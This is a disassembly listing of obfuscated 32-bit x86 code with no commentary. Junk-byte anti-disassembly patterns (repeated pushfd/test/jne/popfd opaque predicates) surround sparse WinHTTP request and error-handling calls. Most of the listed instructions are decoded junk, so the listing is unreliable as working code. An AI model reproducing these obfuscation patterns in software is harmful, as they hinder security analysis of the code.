xchg ebp, eax
pop ebp
rcr byte [edx - 0x2a533483], cl
mov esp, 0x9a61c566
jo 0x1008695a
fisub word ss:[esi + 0xb]
arpl bx, bx
std
xor esi, dword [0x602f73c3]
das
imul eax, esi, 0x6e2226bd
fist word [edx]
cmp dl, byte [ebp - 0x3a]
rcr dword [ebp + 0x53b4324d], cl
sti
push ebx
cmp byte [ecx + 0x7edc49c8], dl
les esp, [ecx - 0x5d12df1d]
jle 0x10086920
mov eax, dword [0xa2ed20e3]
xor dl, byte [edx]
out dx, al
pop es
push 0x4f0e425c
push edx
mov edi, 0x8f3413b
je 0x1008697e
sbb ecx, dword [edx + 0x6f255136]
and al, 0xaf
xor ebx, 2
jo 0x1008698a
or esp, ebp
xchg edi, eax
in eax, 0x97
xlatb
lodsb al, byte [esi]
fcom dword [ecx + 0x18]
adc eax, 0xd1a0b97c
outsb dx, byte [esi]
fnstcw word [ebx + edi*8 - 0x23c055ae]
mov eax, dword [0xdcac3003]
shr dword [esi - 0x27], 1
mov esp, 0x3faa52fb
fsub qword [ecx - 0x2353cffd]
pop ds
push eax
jmp [edx]
push ss
pop edi
or dh, dh
jle 0x10086a29
sahf
pop ecx
call 0xa4618f13
int3
cld
xor ebp, dword [edx + 0x419af3e7]
in eax, 0x3f
aas
popfd
mov edi, 0x10147494
pushfd
test byte [0x10086a30], 0x22
jne 0x10086a31
out dx, eax
dec edx
enter 0xffffffffffffe331, 0x30
dec ecx
adc byte [ecx + 0x43613dff], al
sbb edx, esp
mov ch, 0xfd
xor ebx, esp
xor byte [ecx + 0x10], cl
cmp edi, 0x1943613d
loop 0x100869c2
std
sbb eax, dword cs:[edx]
stc
push 0xfffffffffffffff1
add cl, byte [ebx - 0x43]
sub ebp, eax
clc
mov ebx, 0xfa2beedb
call 0x33db7185
xor byte [ecx + ecx*2], al
dec eax
cdq
cmp cl, bl
jo 0x100869e3
pop esi
cmp al, byte [ecx + esi*8]
popfd
push edi
call fcn.1011d740
pop ecx
push eax
push edi
mov ecx, esi
pushfd
test byte [0x10086a62], 0xf9
jne 0x10086a63
lea ebx, [ebp - 0x4c1e5e8c]
popfd
je 0x100869ec
loope 0x10086a00
xchg ebp, eax
popaw
mov al, 0xe7
daa
out 0xce, al
push ebp
and byte [esi - 0x3c086965], dl
push ebx
cwde
xchg edi, ebp
popfd
call fcn.10069c89
push ebx
pushfd
test byte [0x10086b54], 0x6f
jne 0x10086b55
cmp dh, cl
or eax, 0x73049650
jbe 0x10086aa1
pop esi
xchg edx, eax
jle 0x10086a48
push ds
xor al, bl
into
adc eax, 0xe402ec28
outsb dx, byte [esi]
adc dword [esi], ecx
popfd
arpl word [edx - 0xf988d1f], cx
mov bh, 0x28
in eax, dx
mov esi, 0xcd52e9d6
cmc
push 0x7645dbfe
or eax, 0x65f5dc2d
dec esi
cdq
not dword [eax]
movsd dword es:[edi], dword [esi]
push 0x53
adc byte [esi + ebx*8], 0xbb
out dx, al
jae 0x10086ad7
out dx, eax
push esp
inc edi
fadd qword [esi - 0x6e]
dec edx
test al, 0x2f
sar dword [ebp - 0x519fbf2f], cl
les ecx, [eax - 0x66]
sub ebp, edx
push ss
mov ch, 0x34
add ebp, edx
pop ebp
dec edi
out 0xc9, al
xor dword fs:[eax + 0x18], esp
sti
shl byte [esi - 0x27], cl
or bl, bl
cwde
dec ebp
in al, dx
sub al, bl
inc ebx
jge 0x10086af7
call 0x59b7cbba
inc esp
into
les ebx, [ecx + eax*4 - 0x63]
xchg ecx, eax
inc edx
dec edx
test al, 0xf0
add word [eax - 0xc65ae4d], bp
shr al, cl
int1
popal
sub eax, 0x90056358
pop edx
push cs
test dword [esi - 0x1c], ecx
and byte [edi*4 - 0x4b3c4dd6], dh
push edx
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
jb 0x10086b8a
fsubr dword [edi + edi*4 + 0x20]
dec edx
sahf
je 0x10086b53
imul dword [esi]
adc cl, bh
cld
stosd dword es:[edi], eax
dec edx
test al, dl
mov ah, 0xd
inc eax
mov ebx, ecx
sahf
das
and eax, 0x7b63d305
sbb al, 0xb
adc al, 0x64
bound esi, qword [ecx]
out dx, al
add dword cs:[esi + 0x30], edi
sub al, 0x3b
daa
push es
or eax, 0x726d74c2
popal
adc al, 0xff
aam 3
clc
add edi, eax
popfd
push 1
pushfd
test byte [0x10086b6c], 0xf9
jne 0x10086c6d
pop eax
rcr dword [0xa82e12eb], 1
aas
push 0xffffffffffffffab
pop ebp
push edi
aad 0xf2
pop esi
shr ch, cl
jg 0x10086b8e
mov word [ecx], ds
push cs
jne 0x10086b52
cmp esp, edx
adc dword [edi + ebp*4 + 0x5196f512], ebp
test al, 0x53
les esi, [edx + 0x7d]
jb 0x10086c09
xor bh, ch
std
rep outsb dx, byte es:[esi]
cwde
outsd dx, dword [esi]
ja 0x10086b77
xchg ebp, eax
pop es
dec ecx
sub eax, 0x52e04ef1
jle 0x10086b72
mov ebp, 0xa333c93
leave
inc esi
dec ebp
pop ds
push ds
dec esi
xchg edi, eax
xor ch, 0x4a
lea esp, [edi*4 - 0x798cb213]
fistp dword [eax]
inc edx
pop esp
push edi
mov ah, 0xf6
sub ecx, dword [esi]
push cs
movsb byte es:[edi], byte [esi]
mov ch, 0x73
jb 0x10086ba6
add al, 0x2c
inc edi
call 0x5a3c2b28
aam 0x52
pop esp
sbb al, 0xdc
pop es
add dword [edx + esi], ebp
or byte [ebx], dh
loopne 0x10086bec
cld
push eax
adc al, 0x63
invalid
fld qword [esi + 0x29]
cmp bh, byte [ebx]
scasd eax, dword es:[edi]
jg 0x10086c33
shl dword [edx + 0x7a], cl
scasb al, byte es:[edi]
in al, dx
mov ebx, 0x54a3273d
rcr dword [0xeed69e9a], cl
cmp eax, 0x2eb96286
arpl word [ecx], ax
arpl word cs:[ecx], ax
inc ebx
ficom word [ebp*2 + 0x489e992a]
pop ebx
push 0xffffffffffffff9d
scasb al, byte es:[edi]
ffreep st(4)
push esp
mov edi, 0x71244d26
and al, 0x71
mov dword [edi + 0x16], ebx
sub edi, edx
dec ebx
loop 0x10086bc2
jb 0x10086c48
fcmovb st(0), st(2)
les esi, [ebp + 0x5a]
inc edx
test al, 0x3b
push dword [edx - 0x3b93f753]
sub byte [ebx + 0x4d], bl
mov dl, 0xad
or byte [esp + eax*8 + 0x28], ch
pop ebx
dec ebp
adc byte [eax], 0x50
mov edi, 0x16df5ddd
into
jge 0x10086c1e
push ecx
xchg ebp, eax
sbb esp, 0xffffff8d
and al, 0x7f
in eax, 0x77
fmul qword [ebp + 0x77e57f24]
pop eax
pushal
xchg ebx, eax
mov esi, 0x7d9936ec
bound ecx, qword [edx]
sub al, 0xfc
jo 0x10086c49
test dword [edx + 0x68], 0x813a70f5
ror dword [edi + 0x5d], 0xc7
mov eax, dword [0x7192f85a]
popfd
lea ecx, [ebp - 0xc78]
call fcn.10002a9a
lea ecx, [ebp - 0xcd8]
pushfd
test byte [0x10086cd3], 0x41
jne 0x10086cd4
invalid
mov ah, 0xe5
lds ecx, [0xd52a6189]
xor byte [ecx - 0x60], ah
mov dword [0xb89d5f41], eax
cmpsd dword [esi], dword es:[edi]
dec ebp
out dx, eax
jns 0x10086c7d
mov eax, 0xbd0fb137
xor dword ds:[edi + 0x55], ebp
lds ecx, [edi]
pop ebx
xor ch, dh
push esi
pop esi
insb byte es:[edi], dx
rol dword [ebx - 0x2437521], cl
mov dl, 0xa2
dec eax
xor byte [ebp - 0x7a], 0xbe
push ebp
cmpsb byte [esi], byte es:[edi]
bound edx, qword [edi + ebp + 0x2c]
push edx
mov dword [0xd2c76bf9], eax
pop ebx
jle 0x10086c64
scasb al, byte es:[edi]
fcom dword [ebp + 0xd5e1bcb]
leave
popfd
mov byte [ebp - 4], bl
call fcn.100790d4
push dword [ebp - 0xcf4]
pushfd
test byte [0x10086d49], 0x27
jne 0x10086d4a
pop esp
mov cl, 0x35
call 0xdbea5574
adc eax, 0xec29b7da
mul dword [0x6d1db447]
mov edi, 0x7a02444d
sal byte [ebx + 0x30], 1
test edx, 0xc475c2cf
mov bl, 0xd1
int1
mov ah, 0xb6
test dword [edi], edx
and ebx, dword [ebx - 0x3c]
pop edx
outsd dx, dword [esi]
nop
sbb ch, byte [edx - 0x3a1ebc7c]
mov esi, ebp
out dx, al
push 0xfffffffffffffff8
cmp byte [edi + edx*4 - 0x6d19987b], bh
xchg byte [ebx - 0x6fa1d1a3], ah
xchg dword [ebp + 0x53], edi
aas
or dword [ecx], edx
and dh, byte [edx - 0x845e544]
outsd dx, dword [esi]
adc byte [ebp + 0x77], al
je 0x10086cca
adc esp, dword [eax + edi*8 + 0x15]
sub al, 0xc3
popfd
call fcn.10121f24
pop ecx
push ebx
lea eax, [ebp - 0xcbc]
push eax
push ebx
push ebx
push 0x13
pushfd
test byte [0x10086d87], 0x71
jne 0x10086d88
int1
cmpsd dword [esi], dword es:[edi]
jae 0x10086d22
je 0x10086d1a
adc edx, dword [ecx]
aaa
outsb dx, byte [esi]
push eax
inc edx
xchg ecx, eax
xchg dword [edx], eax
cmc
jae 0x10086d15
xchg esp, eax
xchg ebp, eax
push ds
xchg esi, eax
push es
daa
cmp al, 0xe8
sub byte [ebp + 0x68], al
test dword ss:[eax - 0x48], eax
popfd
push dword [ebp - 0xcc0]
mov dword [ebp - 0xcbc], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
cmp eax, ebx
pushfd
test byte [0x10086e17], 0x62
jne 0x10086e18
mov al, 0x14
adc dword [ecx], ecx
pop edx
dec edi
jne 0x10086e03
jnp 0x10086e12
fadd st(2)
pop edi
sub eax, esp
mov cl, 0x9b
mov ebx, 0x932585df
lea eax, [esi]
sub dword [eax], edx
pushfd
pop ss
das
cmp dword [edx], ebx
mov ebx, 0x35488e03
or byte [eax - 0x10], ch
push 0xffffffffffffff88
xchg edi, eax
push eax
push ss
ror dword [edx], cl
fmul st(0), st(0)
scasb al, byte es:[edi]
mov gs, word [esi + 0x1e40bcb9]
dec ebx
jne 0x10086e2b
cld
pop es
fisubr word [eax + 0x34]
push ebp
sbb byte [ebx + 0x7a575581], dl
inc esi
xchg edx, eax
push 0x23258e78
outsb dx, byte [esi]
and byte [ebp + 0x4ecb2867], bh
mov fs, word [0xbd206e23]
sub bl, cl
dec esi
mov ecx, 0xb802b53b
sbb eax, 0x29949ab9
aad 0x3f
in al, 0x8d
lcall 0x8de4, 0x3fd52994
xor al, byte [esi + 0x27]
sub al, 0x90
insb byte es:[edi], dx
xor al, byte [edx + ecx*4 + 0x45e1db73]
mov dh, byte [ebx - 0x25]
loope 0x10086e5c
dec edx
popfd
jne 0x10086e2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1008788d
mov eax, dword [ebp - 0xcbc]
xor ecx, ecx
test dword [ebx + esi*8 - 1], eax
push dword [ebx]
leave
push 2
pop edx
mul edx
seto cl
pushfd
test byte [0x10086e4b], 0x1c
jne 0x10086f4c
sbb al, 0xf
test dword [ecx + eax], eax
add byte [eax], al
loop 0x10086df2
fimul word [eax - 0x7c979e79]
mov eax, dword [0xfb12f777]
and dword [ebx + 0x6f], ebp
mov dword [esi + ecx*4], ebx
stc
mov edx, 0x1d49f129
dec ebx
xor ecx, edi
and eax, 0x635529b0
ror byte [edx + 0x161a9bc3], 0xfd
inc ebp
add dword [esi + 0x57], ecx
mov dword [ecx], esp
or ebx, ebp
inc ebx
add bh, byte [edi]
jg 0x10086e41
out 0x8e, eax
cmpsd dword [esi], dword es:[edi]
push ecx
push esp
mov ebx, 0xbc42c23a
inc esp
rcr byte [ecx], cl
push eax
inc edx
mov esp, 0x5019d244
jle 0x10086ee0
fucomp st(1)
call 0x1ac4343b
push esp
jne 0x10086e86
sub cl, byte [ebx - 0x7d]
int3
lodsb al, byte [esi]
sti
leave
sub eax, 0x93686e8
test al, 0x1e
out dx, al
sub ebx, ebx
add cl, byte [ebx - 0x5558d276]
nop
shl dword [esp + edx*8 - 0x6d], 1
js 0x10086f00
in al, 0x27
or al, 0x38
mov eax, 0x1b392ef2
xor dword [edx - 0x33ccf515], ebx
out 0x93, eax
xchg ebx, eax
pushfd
pop es
or eax, 0x84e6fe6b
mov bl, 0x47
nop
inc edx
pop edx
mov cl, 0x44
jg 0x10086eb4
shr dword [esi], 1
movsd dword es:[edi], dword [esi]
xchg edi, eax
cwde
push es
jge 0x10086edf
aaa
and al, byte [ebx]
sbb dword [ecx + ecx*2], edi
or eax, 0xe6c31870
popfd
jo 0x10086f1a
ret
jnp 0x10086f65
salc
js 0x10086ef9
loop 0x10086eb5
cmp dword [esi + 0x64821bff], ecx
mov edx, 0x949a5fd3
sahf
mov dword [0x6a7893b0], eax
mov al, 0x93
js 0x10086f88
ficom word [ebx - 0x6a9b2823]
push ebx
std
and al, ah
daa
jecxz 0x10086eeb
sar byte [esi + 0xa], 0x52
jle 0x10086f37
push edx
movq qword [ebp + 0x35], mm7
dec edi
mov ebp, 0xfe21880e
inc ebp
sar dword [ecx - 0x12], 1
inc byte [ebp - 0x2f]
jns 0x10086f2a
xor eax, eax
aaa
outsb dx, byte [esi]
and byte [edi - 0x142855d2], bl
scasb al, byte es:[edi]
dec esp
jno 0x10086f05
in al, 0x7f
popfd
neg ecx
pushfd
test byte [0x10087019], 0xdb
jne 0x1008701a
add byte [eax], al
add byte [ebx + eax*2 - 0x37], ch
insb byte es:[edi], dx
inc ebx
leave
test byte [edi + 0x4c860876], ah
dec esp
pop ecx
mov bl, byte [edx]
mov gs, word [edx - 0x60]
inc ebp
dec ebx
jne 0x10086f77
adc eax, 0xecc7c739
cmp byte [edx - 0x34ae7876], ah
cmp eax, 0xa1e92060
test dword [eax + 0x77], esi
loopne 0x10086f7c
mov al, byte [edi + 0x603dcb51]
pushal
and cl, ch
mov eax, dword [0xe0777085]
imul dword [ecx + 0x2598b1a4]
test eax, 0x2598b1a4
cwde
and eax, 0x21cd75c9
sbb byte [ebx], al
add ebp, ebp
leave
jne 0x10086f5a
and dword [eax], ebx
add eax, dword [ecx]
in eax, dx
mov edi, 0x52748be2
cmpsd dword [esi], dword es:[edi]
inc esi
setge byte [bp + di - 0x53a5]
cmp eax, 0xf21e0223
or byte [edi + 0x71], bl
jne 0x10086fd7
clc
xor ebp, edx
sbb al, 0x24
and dword [edx], esp
or ebx, dword [esi + 0x13]
inc esp
loopne 0x10086fbf
mov word [eax + 0x21747f4e], ss
add byte [ebp + 0x76], 0xc8
jbe 0x10086f89
xchg edi, eax
add al, 7
inc esi
sbb dh, byte [edx]
enter 0x6a16, 0xffffffffffffffef
mov word [ebp + eax*2 - 0x39be1808], es
dec ebx
inc esi
salc
dec edi
mov dl, 0x97
xchg edi, eax
dec eax
xchg esi, eax
cmpsb byte [esi], byte es:[edi]
dec byte [ebp + 0x6b]
mov ah, al
inc ebp
mov ds, word [eax + esi]
mov dh, cl
pushfd
stosb byte es:[edi], al
lea edx, [eax - 0x2a]
xor ecx, dword [edi]
or ah, dh
aas
rcl edx, 0x34
push 0xfffffffffffffff9
mov ah, 0x39
sbb al, 0x37
enter 0xffffffffffffc9ae, 0xffffffffffffffa7
jnp 0x10086f88
int3
popfd
or ecx, eax
push ecx
call fcn.100d04fd
mov edi, eax
pop ecx
cmp edi, ebx
je 0x1008788d
mov eax, dword [ebp - 0xcbc]
add eax, eax
pushfd
test byte [0x1008712c], 0xdd
jne 0x1008712d
dec edi
leave
fsub dword [edx + ebx*8 - 0x4a5132af]
mov ah, 0x73
into
and al, 0xb8
mov eax, dword [0xf12e569c]
int1
pop eax
cmpsd dword [esi], dword es:[edi]
mov dword [0x59a7380d], eax
jg 0x100870b0
push ebx
push ebx
push edx
dec esp
xchg edi, eax
mov dh, byte ds:[edx - 0x15]
dec esp
test eax, 0xe4edbf26
mov bl, 0x7b
jecxz 0x10087064
in eax, dx
in al, 0xb3
jnp 0x10087055
int1
in al, 0xcc
and ebp, dword [edi]
rol byte [edx - 3], 1
or ebx, dword [eax]
xchg byte [esi + 0x66f12978], ah
mov edi, 0xe9692278
xlatb
adc dh, cl
and eax, 0x7dca1d24
jecxz 0x1008706d
add dword [ebx - 0xd406d6c], eax
neg byte [edi + 0x7e8acf3f]
rol dword [ecx + edi*4 + 0x56], cl
xchg edx, eax
cmp edi, dword [eax - 0x38]
add esp, dword [ebx - 0x66]
imul eax, dword [eax + esi*4 + 0x68], 0x65cddf63
lds ebx, [ecx]
jg 0x100870ff
dec edi
xor byte [esi - 0x3e1465d7], 0x77
shr esi, 1
imul eax, dword [ecx + 0x50], 0x9db79f1c
jecxz 0x10087062
mov bh, 1
xchg ebx, eax
xor ecx, dword [eax]
push ss
int1
sbb bl, byte [eax]
cmpsb byte [esi], byte es:[edi]
jae 0x10087087
out dx, eax
dec ecx
call 0x4952e706
pop ebp
lds eax, [esi]
sub eax, edi
imul byte [esi - 0x37]
push esi
or ah, ch
adc byte [ebx], dh
inc ecx
xor al, 0x3c
jge 0x1008716a
sub dword [ebp - 0x305556dd], ecx
dec edx
inc esp
out dx, al
std
jno 0x10087164
mov ebp, 0xc1913fa0
push ebx
add al, 0x5c
pop esp
inc esp
mov gs, word [eax - 0x5c7f8516]
mov cl, 0x2c
mov eax, ds
and byte [ebx + 0x7d66fa51], dh
jae 0x10087165
fisttp dword [edx - 0x8cf3b10]
mov ah, 0xe0
sahf
sahf
pop ecx
dec ebp
jb 0x1008715e
jne 0x10087187
adc al, 0x4b
mov ecx, 0x4595d20e
push edi
inc ecx
rcl byte [ebp - 0x62bea8bb], cl
popfd
push eax
push ebx
push edi
pushfd
test byte [0x100871e5], 0x8f
jne 0x100871e6
adc al, 0xd9
push ecx
aad 0x97
mov esi, 0x787fd170
salc
adc eax, 0x237f954d
test al, 0x14
cmc
pop ebp
leave
sahf
jg 0x10087128
push 0x47
imul ebp, dword [edi + 0x12714dc0], 0x65
popal
adc ah, byte [ebp + 0x61]
pop esi
aam 0xd4
std
xchg ebp, eax
aas
dec ebx
and eax, 0x885fef00
int1
out dx, eax
pop edi
mov cl, dh
or al, 0x80
cmc
inc edx
push esi
mov ecx, 0x915c51ac
or al, 0x5a
mov bl, 0x48
das
pushal
imul eax, dword [0x1efe4b3a], 0x30
ja 0x1008717b
adc ebx, 0x2a
adc ebx, 0x2a
push edi
mov dh, 0x6f
add eax, 0x1bedc0e7
mov ch, 0x15
xor byte [ebx + 0x6a], dh
outsb dx, byte [esi]
xchg byte [0x70b9237e], ch
shl dword [esi], 0x7c
sub byte [edi - 0x27], bh
sar byte [0x3c2ab328], cl
popal
xor al, 0x9c
sub byte [eax], 0xcb
add dword [ecx], 0x4e
mov dh, 0xca
and bh, ah
aas
mov edi, 0xfdcaa33
cmp dword [eax + 0x48], esi
adc ah, bh
add edx, eax
adc al, 0xf0
mov dl, 0x30
sbb ebp, dword [eax + ebp*2 - 0x4bf83d30]
out 0xb4, eax
ror byte [ebp + 0x12208fb9], cl
inc edi
push cs
mov edx, ecx
and eax, 0xf7e27cc7
aas
add byte [ecx - 0x7b], bl
popfd
call fcn.1011df60
add esp, 0xc
push ebx
lea eax, [ebp - 0xcbc]
push eax
push edi
push ebx
push 0x13
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x100873f8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x10087225
xor esi, esi
jmp 0x100873b6
lea esi, [eax + eax]
mov eax, esi
call fcn.101222f0
pushfd
test byte [0x10087250], 0x4c
jne 0x10087251
aaa
xchg byte [ebp - 0x49ced126], ah
dec eax
lea esp, [edx + 0x25e007a4]
loopne 0x10087230
jnp 0x1008724b
fld st(6)
lodsb al, byte [esi]
jg 0x1008725c
in eax, dx
popfd
mov eax, esp
pushfd
test byte [0x10087294], 0xa7
jne 0x10087295
sbb eax, dword [edx - 0x5a]
leave
call 0x2f29e396
inc ebx
out dx, eax
into
mov al, byte [0x3d3e9bff]
test eax, 0xb9566bfa
fdivrp st(2)
int3
popfd
push 3
pushfd
test byte [0x100872aa], 0xbd
jne 0x100873ab
lea ecx, [ebx - 0x11]
mov cl, 0x89
xor ch, dl
push 0xe0fb093f
fcomp qword [ebx]
cmp byte [ebx - 0x448b1b8d], dh
cmp ebp, dword [ebp - 0x55]
jo 0x1008730d
push cs
mov eax, dword [0x7f19c2a2]
into
int3
invalid
jnp 0x100873c4
pop ds
in al, dx
test dword [edi + ecx*4 + 0x25df01ba], 0xcbf8a6b0
inc edi
add dword [esi + 0x1a], 0xc2e39934
mov esp, 0x9f74a021
pop esi
push ebp
lodsd eax, dword [esi]
rcl ah, cl
test dword [esi], edx
adc al, 0x8c
xor eax, 0xc36578a5
or eax, 0xeae4cec9
xchg esi, eax
mov byte [ecx], cl
pop ebp
stosd dword es:[edi], eax
enter 0xffffffffffff9215, 0xffffffffffffffb5
mov dh, al
arpl word [edi], si
jae 0x1008734f
add byte [edx + 0x18331670], dh
inc ebx
jne 0x1008740a
mov bl, 0x3a
call 0x66666f79
cmc
mov edi, 0xfabfdf6a
les esp, [edx - 0x32]
inc edx
stosb byte es:[edi], al
popfd
push esi
push edi
push eax
call fcn.10052d0b
mov esi, eax
push esi
call fcn.1011d740
pop ecx
mov ecx, dword [ebp - 0xcdc]
push eax
push esi
pushfd
test byte [0x100873eb], 0x22
je 0x100873ec
stc
cmpsb byte [esi], byte es:[edi]
call dword [eax - 0x2e7e94eb]
jae 0x10087381
scasd eax, dword es:[edi]
mov dl, 0x52
inc edx
frstor dword [esi + 0x7be97dfe]
xchg byte [edx + 0x20436aa6], dh
cmp dword [ecx], edx
dec eax
cmpsb byte [esi], byte es:[edi]
push 0x43
and byte [ecx], bh
adc dword [eax - 0x63], ecx
popfd
add ecx, 0x128
call fcn.10005303
push edi
pushfd
test byte [0x10087488], 0xd6
jne 0x10087489
pop edi
or bl, 0xbc
mov eax, dword cs:[0x2705af4f]
xor al, 0xef
mov esp, 0xaf4fa12e
add eax, 0xef346427
or ecx, dword [eax + ecx*2]
xchg ah, cl
xchg dword [ebx - 0x7c], ebp
jo 0x1008748e
stc
and dword [ecx - 0x74], ebx
mov eax, dword [0xaa695fe0]
out dx, al
adc dword [edi], 0xec12dfa7
pushfd
adc esp, dword [edi]
not dword [eax + 0x3f]
cmp dword [edi + edi*4 + 0x33], edi
push cs
or dl, al
call 0x516eafd4
inc ecx
inc edi
lodsb al, byte [esi]
aaa
inc ebp
mov dword [ecx - 0x62], edi
stosb byte es:[edi], al
leave
add dh, byte [eax]
jae 0x1008745a
mov edi, 0xab7dd76c
mov eax, 0xb9d4c0bd
fdiv dword [esi - 0x77]
jbe 0x100873e5
insb byte es:[edi], dx
adc al, 0x18
push ds
sal esi, cl
pop ecx
nop
jg 0x10087441
xchg edi, eax
shl dword [ecx + 0x49ef4bfc], 1
pop ecx
aas
mov dl, 0xef
movsd dword es:[edi], dword [esi]
sar ebx, 1
fpatan
stc
xchg edi, eax
cmp cl, dl
dec ebx
pop bp
cmp dword [edi + 0x4d49996], esi
shr dword [edi - 0x10], cl
or dh, dl
popfd
call fcn.10121f24
xchg ebp, eax
stosb byte es:[edi], al
or dword [eax], eax
add byte [ecx - 0x3a], bl
test dword [edi], ebx
invalid
pop ecx
mov byte [ebp - 0xce1], 1
jmp 0x100878ab
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
pushfd
test byte [0x1008753e], 0x8c
jne 0x1008753f
aas
pop ss
shl dword [ebx], 0xff
push ebx
cmp al, 0x37
insb byte es:[edi], dx
pop esp
jnp 0x100874ba
aam 0xed
in eax, dx
and byte [ebx + 0x75], 0x44
jne 0x10087507
adc byte [eax - 0x294310d4], 0x9a
mov ebp, 0xae57ba15
xchg byte [ebp + 0x25560d57], ch
cmpsb byte [esi], byte es:[edi]
lds esp, [0x378819bf]
dec ebp
daa
jno 0x1008748b
daa
js 0x10087533
insb byte es:[edi], dx
test eax, 0x39f17e5b
imul dword [esi]
pushal
mov ecx, 0x347181f0
mov eax, dword [ecx]
int1
outsd dx, dword [esi]
add dword [eax + 0x6e6ce443], ebx
lodsd eax, dword [esi]
faddp st(4)
add cl, byte [ebp - 0x79956edd]
cmp ebp, esp
arpl ax, sp
pop ecx
mov dword [esi - 0x24], ebp
or eax, 0x3c65edee
mov bl, 0x62
cmp eax, 0xee869bbe
sub eax, esp
movsb byte es:[edi], byte [esi]
scasb al, byte es:[edi]
cmc
sar byte [eax - 0x57e956d3], 1
mov dword [ebx], ecx
cmpsd dword [esi], dword es:[edi]
adc al, 0x7d
jecxz 0x100874c1
ja 0x100874be
push edi
push ds
mov esp, 0xe3ab0fe4
outsd dx, dword [esi]
stosd dword es:[edi], eax
jecxz 0x100875a5
aad 0x39
arpl word [esi + 0x46], cx
cmp esi, ecx
cmpsb byte gs:[esi], byte es:[edi]
popfd
push str.WinHttpReceiveResponse_Error:_d
jmp 0x1008787d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WinHttpOpenRequest_Error:_d
pushfd
test byte [0x100875b2], 0xb1
jne 0x100875b3
outsb dx, byte [esi]
fsub qword [ecx]
pop eax
daa
cmpsb byte [esi], byte es:[edi]
xor bh, byte [ebp + 0x73]
test ecx, 0xcc2ecae8
add al, 0x6e
clc
mov al, 0xf2
mov al, byte [0xf27d0e77]
fld xword [edx - 0x61fb13f5]
int3
sahf
popal
stc
adc al, 0x59
or eax, 0xb4abf150
mov esp, 0x40d0ff0e
xor byte [ebx], ah
cmp al, 0x2c
jbe 0x1008756d
div dword [ecx - 0x3de8eaa2]
js 0x1008757e
mov ecx, dr3
mov edx, gs
test byte [ebp + ebp*8 - 0x68acd7ea], ch
sub byte [ebx - 0x69], dl
or dl, byte [ecx + 0x56]
or byte [ebp + 0x5d8585bf], 0x80
push ecx
popfd
push ebx
push ebx
pushfd
test byte [0x100875fb], 0x3e
jne 0x100875fc
bound esi, qword [esi + 0x4f]
aam 0x8f
pop ds
inc eax
and al, 0x57
xor eax, 0x544fe53
sub dword [ebx - 0x3f], edi
shr ebx, 1
pop ebx
push esp
mov dword [ecx + 0x6c3d838b], ebx
mov ebp, 0xcbbb2b37
pop edx
out 0xfb, al
mov al, byte [0x3c73dde]
mov eax, 0xfb70f6a4
and al, 0x5c
leave
xor esi, eax
fbstp tbyte [esi]
and byte [edx - 0x3d8dd6f3], 0xe6
popfd
mov dword [edi + 0x124], eax
call fcn.10049c0c
pushfd
test byte [0x10087628], 0x8d
jne 0x10087629
dec edi
jno 0x10087663
dec edx
leave
inc ebp
std
xchg byte [ebp - 0x75], ch
mov al, byte [eax - 0x362e94d5]
in al, 0xad
aad 0x41
cwde
int 0x6e
popfd
add esp, 0x10
pushfd
test byte [0x100876c8], 0x75
jne 0x100876c9
mov al, 0x5f
shr byte [ecx], cl
add ebp, dword [edx + 0x1e30df01]
and cl, byte [eax - 0x5c]
inc ecx
popfd
xchg esp, eax
mov ecx, 0xcaaa114c
int3
mov bh, 0x1a
xchg edx, eax
movsd dword es:[edi], dword [esi]
push ds
nop
inc esp
out 0xd2, eax
xchg edi, eax
dec ebp
sbb eax, 0x8bbb4399
outsd dx, dword [esi]
dec ecx
stc
push edx
push esp
std
dec eax
test eax, 0x7b0766f7
adc bh, byte [edi]
pop es
jnp 0x10087693
aas
sbb esp, dword [esi + edi - 0xf]
pavgb mm4, mm1
out dx, al
nop
xchg ebp, eax
lodsb al, byte [esi]
mov bh, 0x9a
idiv bl
jge 0x10087702
xchg byte [0x323a3f08], cl
jo 0x1008767d
sub ch, byte [edi + 0x431abec7]
adc eax, 0x9d652de
lds edi, [edi]
sal byte [edx + 0xb], cl
ror ebx, cl
into
mov ebx, 0x14cca615
xchg esi, eax
mov cl, 0xec
inc esi
dec esi
sar esi, 0x2a
imul dword [eax + 0x3db9f0ff]
push esi
inc ebx
inc esi
stosd dword es:[edi], eax
xchg ebp, eax
popfd
jmp 0x10087b00
add byte [eax], al
push str.m_connectHandle__NULL
pushfd
test byte [0x10087713], 0xc0
jne 0x10087814
sbb eax, 0x34e953c0
in eax, dx
mov cl, 0xa5
in al, 0xf3
jno 0x100876fc
in al, 0x91
jecxz 0x100876cd
pop ecx
enter 0xbed, 0xffffffffffffff80
lodsb al, byte [esi]
xchg edi, eax
mov esp, 0xf94d5e2c
dec ebp
stc
xchg edi, eax
stosb byte es:[edi], al
sub al, 0xa4
lea edx, [ecx - 0x30]
xchg ebp, eax
cli
or esp, 0xf3d4fa15
imul ebp, ebx, 0x652f497
rcr byte [ebx - 0x1e], cl
xlatb
mov ch, 0x7a
sub eax, 0xcda5eebb
leave
out dx, al
movsd dword es:[edi], dword [esi]
int 0xc9
inc eax
mov edx, 0x40a53b38
mov bh, byte [ebx - 0x320f152b]
mov eax, dword [0x555a872c]
xchg dword [edx + 0x55], ebx
fist word [edx - 0x67e6ebe5]
movsb byte es:[edi], byte [esi]
mov eax, 0xfbb47b6a
jnp 0x100876f0
sti
sub dword [ebx - 0x3f], esp
or eax, 0x54cd44bd
jecxz 0x1008774e
popal
and al, 0x8a
jbe 0x10087702
and eax, edi
push edx
pcmpeqd mm4, qword [edx - 0x730e5b64]
test esi, ebp
mov eax, 0x841a3974
out dx, eax
jno 0x1008773a
invalid
aam 0x36
cmc
or byte [ebp - 0x6a], 0xd
mov al, 0xa
adc byte [ebx + esi*4], dh
cdq
jge 0x1008771b
push eax
into
sbb eax, 0xccfc6686
add byte [ecx - 0x2f6c948a], dh
jb 0x100877c9
or eax, 0x467b809f
dec ebx
jecxz 0x100877cd
jle 0x100877ee
pop ebp
outsb dx, byte [esi]
pushfd
test byte [edx], ch
in eax, dx
test byte [ecx - 0x76fc52ed], 0x45
